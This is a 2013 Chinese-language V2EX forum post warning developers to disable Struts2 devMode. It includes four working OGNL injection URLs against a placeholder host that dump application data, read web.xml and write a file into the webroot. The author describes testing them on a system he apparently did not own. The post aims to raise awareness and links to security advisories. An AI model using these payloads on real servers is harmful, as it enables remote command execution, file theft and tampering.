V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
ufologist
V2EX  ›  Java

请关闭危险的struts.devMode

  •  
  •   ufologist ·
    ufologist · 2013-01-19 14:20:31 +08:00 · 4222 次点击
    这是一个创建于 4360 天前的主题,其中的信息可能已经有所发展或是发生改变。
    http://www.douban.com/note/258826307/

    请大家务必关注安全领域的信息, 特别是如今的互联网时代, 安全性应该放在第一位.

    就如同我们的操作系统都需要时不时打补丁一样, 每个程序都是不完美的, 有朝一日出一个大bug, 大家应该第一时间做出反应, 以免遭遇不必要的损失.
    看看我们目前的状况, 产品中多使用了一些开源的组件, 少则几个, 多则几十个, 他们都有可能出现bug, 你使用得越多, "中奖"机率也就越高.
    当然开源绝对是好东西, 我这里不是恐吓大家千万不要使用任何开源组件, 而是提醒大家务必/一定/确定/及时地关注自己所使用的开源组件的动态, 是否有重大漏洞爆出, 及时找出应对方案.

    下面发生的事情是我碰巧遇上的, 完全是出于学习的目的, 希望大家有所警觉, Don't be evil.

    在某系统上传照片, 出于测试的目的, 我上传照片时选择了一个test.js文件, 于是乎沦陷了

    struts.devMode = evil

    这个devMode给我提了个醒, 早一阵子看过一篇安全方面的文章, 有介绍https://blog.whitehatsec.com/vote-now-top-ten-web-hacking-techniques-of-2011/

    https://websec.wordpress.com/2012/01/04/multiple-vulnerabilities-in-apache-struts2-and-property-oriented-programming-with-java/
    是的, 2011年的东西, 现在是2013年了, 而且我也是那是才知道的, 实在惭愧...
    请大家务必重视这个漏洞, 非常非常可怕的漏洞 -- remote command execution, 主要是OGNL在作怪
    在<a href="apache struts"></a>上面有公布这些漏洞, 建议大家都升级到最新版


    于是乎, 全当是测试了
    1. 基础测试, 查看应用的application, 发现有用的信息
    http://a.com/a.action?debug=command&expression=%23application


    2. 测试读取文件
    http://a.com/a.action?debug=command&expression=%23_memberAccess[%22allowStaticMethodAccess%22]=true,@org.apache.commons.io.FileUtils@readFileToString(new%20java.io.File(%22E:/Tomcat/webapps/ROOT/WEB-INF/web.xml%22))


    3. 测试写入文件
    http://a.com/a.action?debug=command&expression=%23_memberAccess[%22allowStaticMethodAccess%22]=true,@org.apache.commons.io.FileUtils@writeStringToFile(new%20java.io.File(%22E:/Tomcat/webapps/ROOT/5265.html%22),%20%22please%20disable%20devMode%22)

    4. 查看写入结果
    http://a.com/5265.html


    测试到此为止, 希望其他有使用过struts2的朋友仔细检查下自己有没有中招, 够升级的尽量升级, 不方便升级的请务必关闭那些危险设置.
    不经意间, 你小小的一个true or false可能就是一整个产品的true or false!

    参考
    ------
    https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt

    http://blog.o0o.nu/2010/07/cve-2010-1870-struts2xwork-remote.html
    2 条回复    1970-01-01 08:00:00 +08:00
    gamexg
        1
    gamexg  
       2013-01-20 11:35:27 +08:00
    国内的一个漏洞列表
    http://www.wooyun.org
    struts2 代码执行现在也还是不断的出来。
    ufologist
        2
    ufologist  
    OP
       2013-01-20 17:29:49 +08:00
    @gamexg 针对java框架的分析日成趋势, 大家要小心打补丁了
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   2774 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 22ms · UTC 02:20 · PVG 10:20 · LAX 18:20 · JFK 21:20
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.